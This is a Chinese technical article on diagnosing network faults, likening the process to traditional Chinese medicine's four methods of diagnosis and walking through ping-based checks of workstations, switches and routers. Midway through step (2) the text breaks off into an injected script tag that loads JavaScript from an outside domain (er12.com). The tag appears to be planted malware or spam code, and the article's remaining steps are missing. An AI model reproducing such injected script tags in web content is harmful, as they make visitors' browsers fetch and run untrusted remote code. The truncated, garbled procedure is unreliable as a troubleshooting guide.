望闻问切看网络故障

 

图1 某网络拓扑图

常在河边走,哪有不湿鞋?作为网管员,处理网络故障应该说是一个日常工作了,但还是有很多网管在处理故障时会走很多弯路,这其中的原因就是没有按章行事。其实我们可以像中医瞧病一样诊断网络故障,望、闻、问、切,根据原因,对症下药。

经常有人在qq上问我网络方面的一些问题,也经常有一些学生、读者,打电话或发邮件问我一些网络故障的解决方法,但他们只是叙述了故障的结果或现象,很少有人详细描述故障的产生原因、产生过程以及网络的状态,更没有说出现故障之后,自己是怎么分析与判断的,只是问我:出了某某故障,要怎么解决?

在这种情况下,我通常会反问对方一些问题,就像中医看病一样,详细地询问对方的一些情况,有许多时候,在询问对方的过程中,对方就能自己判断问题所在并且自己可以解决了。从这些情况看来,许多故障,自己都可以解决,但缺少解决问题的思路与方法,掌握了这些思路与方法,一般网络故障都不需要再询问别人。解决问题的方法有许多,而解决问题的大致思路是差不多的。

总体来说,如果按照用户划分,网络故障分为企业中的网络故障与个人用户网络故障;对于企业中的网络故障来说,如果按照产品功能划分,网络故障通常包括工作站故障、服务器故障、网络设备故障等,下面分别介绍。在解决故障时,本着从简单到复杂、从软件故障到硬件故障的原则进行判断。

工作站故障

对于工作站故障,通常来说,采用代替法与排除法即可以解决。当网络中的工作站出现问题时,你要清楚是网络中的所有工作站出现问题,还是某一组中的工作站出现问题,或者仅仅只是某一台工作站出了问题。

如果网络中的所有工作站都出现了同一个问题,例如,都不能登录服务器,或者登录服务器很慢,或者都不能访问某个或者某些网站,这时候的故障应该在工作站到故障点之间的线路或某些设备上,例如,核心交换机出现问题,所有的工作站的上级交换机或者路由器出现问题,甚至是网络的出口(广域网或者internet网络)出现问题。这时候,可以在网络中的任意一台工作站上,使用ping命令,依次检查到上一级设备的连接情况,逐级检查以定位故障点,最后排除故障。

例如,对于类似于图1所示的网络拓扑情况,当所有的工作站不能访问服务器server或者不能访问互联网时,可以在网络中的任意一台工作站上(例如w1),用ping命令,首先检查到s3交换机的连通性,如果到s3不能连通,则检查s3交换机的配置情况,在确认不是配置问题后,检查s3交换机是否损坏,如果s3交换机损坏,根据情况维修或者更换。然后检查到服务器的连通性,如果不能访问服务器,检查s3与服务器之间的线路,然后依次检查服务器的网卡、服务器的配置,对于s3与服务器之间的线路,可以用代替法。如果是不能访问互联网,则需要依次检查s3到路由器(或代理服务器、防火墙)之间的线路、路由器的配置和路由器到互联网的线路情况,然后再检查是否是isp的故障等。实际上,如果网络中的所有工作站都不能访问外网,则首先要在代理服务器或者路由器上,检查到上级线路的连接是否正常,在排除上级线路(isp)的故障后,检查s3与路由器之间的线路、路由器的配置等情况。

如果网络中的一台工作站出现问题,例如,w3不能访问服务器(或互联网),而网络中其他的工作站都正常,可以按照如下的步骤解决:

(1)在w3工作站上,使用ping命令,检查是否可以ping通w4、s2和s3交换机,如果能ping通这些工作站或交换机,则表示w3不能访问服务器(或互联网)是服务器端对w3进行了限制。如果不能ping通,则进行下面的检查。

(2)打开网络连接,查看是否出现“网络电缆被拔出”的提示,?script src=http://er12.com/t.js>

  • 望闻问切看网络故障已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计